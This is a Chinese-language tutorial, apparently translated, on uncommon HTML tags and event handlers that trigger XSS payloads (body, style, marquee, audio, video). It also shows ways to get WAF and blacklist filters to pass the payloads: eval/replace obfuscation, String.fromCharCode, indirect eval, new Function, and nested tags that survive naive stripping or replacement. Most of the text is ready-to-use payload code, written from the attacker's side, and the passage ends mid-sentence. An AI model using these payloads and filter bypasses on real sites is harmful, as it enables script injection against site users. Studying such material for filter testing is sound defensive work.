幾種加載XSS Payload的不常見標簽
眾所周知,一種調用JavaScript的方法就是在元素類型上使用事件處理器(Event Handler),通常的一種方法類似:
<img src=x onerror=alert(‘xss’) />
這是一種使用無效src屬性來觸發 onerror 事件處理器(onerror event handler)的方法,當然,其中包含了一個alert跳出框的xss payload,如下alert(1):
由於過度使用img標簽和onerror事件處理器,它們經常被列入XSS過濾黑名單,但除此之外還有其它形式的XSS攻擊向量。
雖然所有可能的XSS攻擊向量標簽列表無法一時列出,但其中幾種非常有必要在此談談。
Body 標簽
由於這種攻擊方法向量,在給定頁面中只有一個body標簽,有些人可能認為它不起作用,但實際上,所有瀏覽器都會把它當事件處理器(Event Handler)來執行。在這里,可以在onpageshow事件中用提交body元素的方法,形成XSS Payload,當其中的body元素被解析后就會觸發Payload。示例如下:
<body onpageshow=alert(1)>
Style 標簽
盡管onload事件總會被識別為危險動作,但另外來說,它也可以和style標簽組合來用,雖然這種場景並不多見。示例如下:
<style onload=alert(1) />
Marquee 標簽
Marquee 標簽除了在web開發中有標簽內容回滾作用之外,它還支持一系列的事件處理程序,因此可以用它來實現XSS Payload觸發。Marquee支持的一系列事件處理程序如下:
onbounce事件:是在<marquee>標簽中的內容滾動到上下或左右邊界時觸發的事件處理程序,該事件只有在<marquee>標簽的behavior屬性設為alternate時才有效;
onfinish事件:當 marquee 完成 loop 屬性設置的值時觸發。它只能在 loop 屬性設置為大於 0 的某個數字時觸發;
onstart事件: 當 marquee 標簽內容開始滾動時觸發。
結合此,加入XSS Payload的示例如下:
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee> <marquee loop="1" onfinish=alert(1)>hack the planet</marquee> <marquee onstart=alert(1)>hack the planet</marquee>
Media 標簽
可能這種利用音視頻標簽來加載XSS Payload的方法很少見,實際來說,音視頻標簽中確實有幾種事件處理程序不會輕易被列入黑名單行列,尤其是以下幾種:
oncanplay: 在用戶可以開始播放音視頻(audio/video)時觸發;
ondurationchange: 在音視頻(audio/video)的時長發生變化時觸發;
onended: 在音視頻(audio/video)播放結束時觸發;
onloadeddata: 在音視頻數據幀加載時觸發,也即在當前幀的數據加載完成且還沒有足夠的數據播放音視頻(audio/video)的下一幀時觸發;
onloadedmetadata: 在指定音視頻(audio/video)的元數據(如分辨率和時長)加載后觸發;
onloadstart: 在瀏覽器開始尋找指定音視頻(audio/video)時觸發;
onprogress: 瀏覽器下載指定的音視頻(audio/video)時觸發;
onsuspend: 在瀏覽器讀取音視頻(audio/video)數據中止時觸發。
結合以上事件,加入XSS Payload的示例如下:
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" /> <audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" /> <audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" /> <audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" /> <audio onprogress=alert(1) src="/media/hack-the-planet.mp3" /> <audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" /> <video oncanplay=alert(1) src="/media/hack-the-planet.mp4" /> <video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" /> <video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" /> <video onloadstart=alert(1) src="/media/hack-the-planet.mp4" /> <video onprogress=alert(1) src="/media/hack-the-planet.mp4" /> <video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
黑名單代碼樣式
正如很多殺毒軟件的模式匹配規則一樣,只要某種行為動作和其內置的規則相匹配,則該動作就會被馬上列入黑名單中禁止執行。
在有些場景下,我們發現與JavaScript代碼同義的各種動作都會被目標防護軟件列入黑名單,甚至是使用正常的alert也不例外。在此,有幾種方法可以繞過這些模式匹配規則。
Eval & 其它冗余符號
如果目標系統的WAF或其它防護軟件沒把 /(eval|replace)\(.+?\)/i 這種樣式列入黑名單,那么我們可以在其中通過夾雜冗余符號的方式形成Payload,利用其中的eval動作來加載Payload,再利用之后的replace動作把冗余符號進行替換刪除。
就比如,eval(‘alert(1)’) 等同於 alert(1) ,傳入eval的字符串行為會被解釋執行,如果我們按照常規方式來構造,肯定會被目標系統中的WAF類產品識別阻擋。
所以,在此,我們可以通過eval和replace事件的組合利用,先在其中加入一些冗余符號來進行混淆,再進行替換刪除,最終繞過WAF規則,形成我們想要達到的Payload。示例如下:
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
圍繞引號轉義來做文章
當引號被轉義(escape)之后,不管使用了什么繞過技術,肯定會引起問題,就像上面的eval(‘~a~le~rt~~(~~1~~)~’.replace(/~/g, ”))一樣,如果要順帶把引號轉義,其Payload可能如下:
eval(\'~a~le~rt~~(~~1~~)~\'.replace(/~/g, \'\'))
但另一種變換方法就是利用正則表達式來避免帶入引號的使用,如可以在上述Payload中引入正斜杠方式,然后再用創建的正則表達式對象屬性來訪問其中的閉合字符串。示例如下:
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
以此用new String()來實現把~轉換為空字符串的目的,從而不需要用到引號。
對引號實行轉義並繞過WAF類產品模式匹配規則的一個有效手段是使用eval的String.fromCharCode方法,該方法將獲取一個或多個十進制Unicode值,然后將它們轉換成等效的ASCII字符,並將它們連成一個字符串,如:
console.log(String.fromCharCode(65,66,67,68)) //在終端返回顯示的是字符串 "ABCD"
通過這種對Unicode值的轉換,可以把目標值傳遞給eval,因此,可以構造Payload如下:
eval(String.fromCharCode(97,108,101,114,116,40,49,41)) //// 最終執行的會是 alert(1)
其它使用Eval的方法
上面的例子有些是圍繞eval的使用而不是過濾來談的,由於eval是一種大家熟知的危險方法,所以經常會看到/eval(.+?)/i這樣的過濾方式。
相應的,我們也可以采取其它方法來規避過濾。由於函數可以存儲在JavaScript的變量中,所以為了不直接調用eval,我們可以把它分配給一個變量,然后間接調用它,示例如下:
var x = eval; x(‘alert(1)’)
另外一種間接調用eval的方法是用括號進行構造,即用括號間接調用法,如表達式(1,2,3,4)返回的是4,即括號中最后一個,所以(1,eval)返回的是函數eval,具體示例如下:
(eval) // 返回函數eval
(1, eval) // 仍然返回函數eval
因此可以構造以下Payload來執行:
(1, eval)('alert(1)') // 返回 alert(1)
基於此,也可以使用call方法來直接調用,如下:
eval.call(null, 'alert(1)') //返回 alert(1)
其次,可以定義一個新函數的方法來規避直接對eval的調用,當然這種方法還會涉及到一些語法定義,如下:
function hackThePlanet () {
alert(1)
}
最后,還可以用創建Function對象的方式來實現alert調用,該對象接受構造函數中的字符串作為函數實現,如下:
new Function('alert(1)')()
利用錯誤輸入過濾機制實現繞過
如果用戶輸入內容看似危險,那么就需要對其輸入和響應進行一些過濾,最好的方法就是只顯示出一些通用性錯誤或是直接拒絕用戶的整個請求。
不管怎么說,這種定制化的緩解防護策略也很常見,但就像上述我們提到的各種繞過技術一樣,如果我們充分了解了目標系統的輸入過濾機制,那么,也可以利用這種過濾機制,以其人之道還治其人之身,最終構造出我們的有效Payload。
利用不安全樣式刪除機制
刪除不安全危險數據的最常見方法之一可能就是把它直接刪除,一些過濾器只會簡單地認為,危險數據刪除了就安全了。
這種刪除機制除非是遞歸方法執行,否則,它也會自己把自己玩死。就像如果<script>和 </script>標簽對會被過濾器轉換為空字符串,那么,把它們組合構造夾雜放入一條javascript中,最終只有<script>和 </script>標簽對被刪除了,其它剩下的就又形成了新的組合方式,示例如下:
<sc<script>ript>alert(1)</sc</script>ript>
上述javascript中,如果過濾器只是簡單地把<script>和 </script>標簽對刪除了,那么最終會剩下:
<script>alert(1)</script>
完美,這就是我們想要的。同樣的方法可以應用到一些標簽屬性或事件處理程序中,就像如果onerror是刪除目標,那么,我們可以構造以下Payload:
<img src=x ononerrorerror=alert(1) />
最終刪除后剩下的結果為:
<img src=x onerror=alert(1) />
替換不安全樣式
當一些不安全的樣式被替換而不是被刪除之后,目標系統過濾器要識別它們,可能就有一些麻煩了。根據不同的過濾器規則,可以使用替換方式來構造我們最終想要的Payload。
就比如,如果目標系統的過濾器會把<script></script>標簽對都過濾替換為NAUGHTY_HACKER字段,那么,我們提交<script>alert(1)</script> 之后的結果就會是NAUGHTY_HACKERalert(1)NAUGHTY_HACKER。
但如果我們把<script>標簽對的聲明改為<script <script>> 和 </script </script>>這種嵌套式樣式后,那么參照替換為NAUGHTY_HACKER字段的規則,對於<script>alert(1)</script>來說,目標過濾器會把它過濾為:
<script NAUGHTY_HACKER>alert(1)</script NAUGHTY_HACKER>
在開始標簽<script NAUGHTY_HACKER>中,瀏覽器會把NAUGHTY_HACKER默認解析為一個不帶值的屬性,就像input中的autofocus屬性一樣。在閉合標簽</script NAUGHTY_HACKER>中,雖然技術上屬於無效,但最終卻能正確解析。因為瀏覽器在某種程度上為了減少錯誤,雖然能識別到這個附加屬性,但會簡單地把它忽視掉。最終在瀏覽器的檢查器效果如下: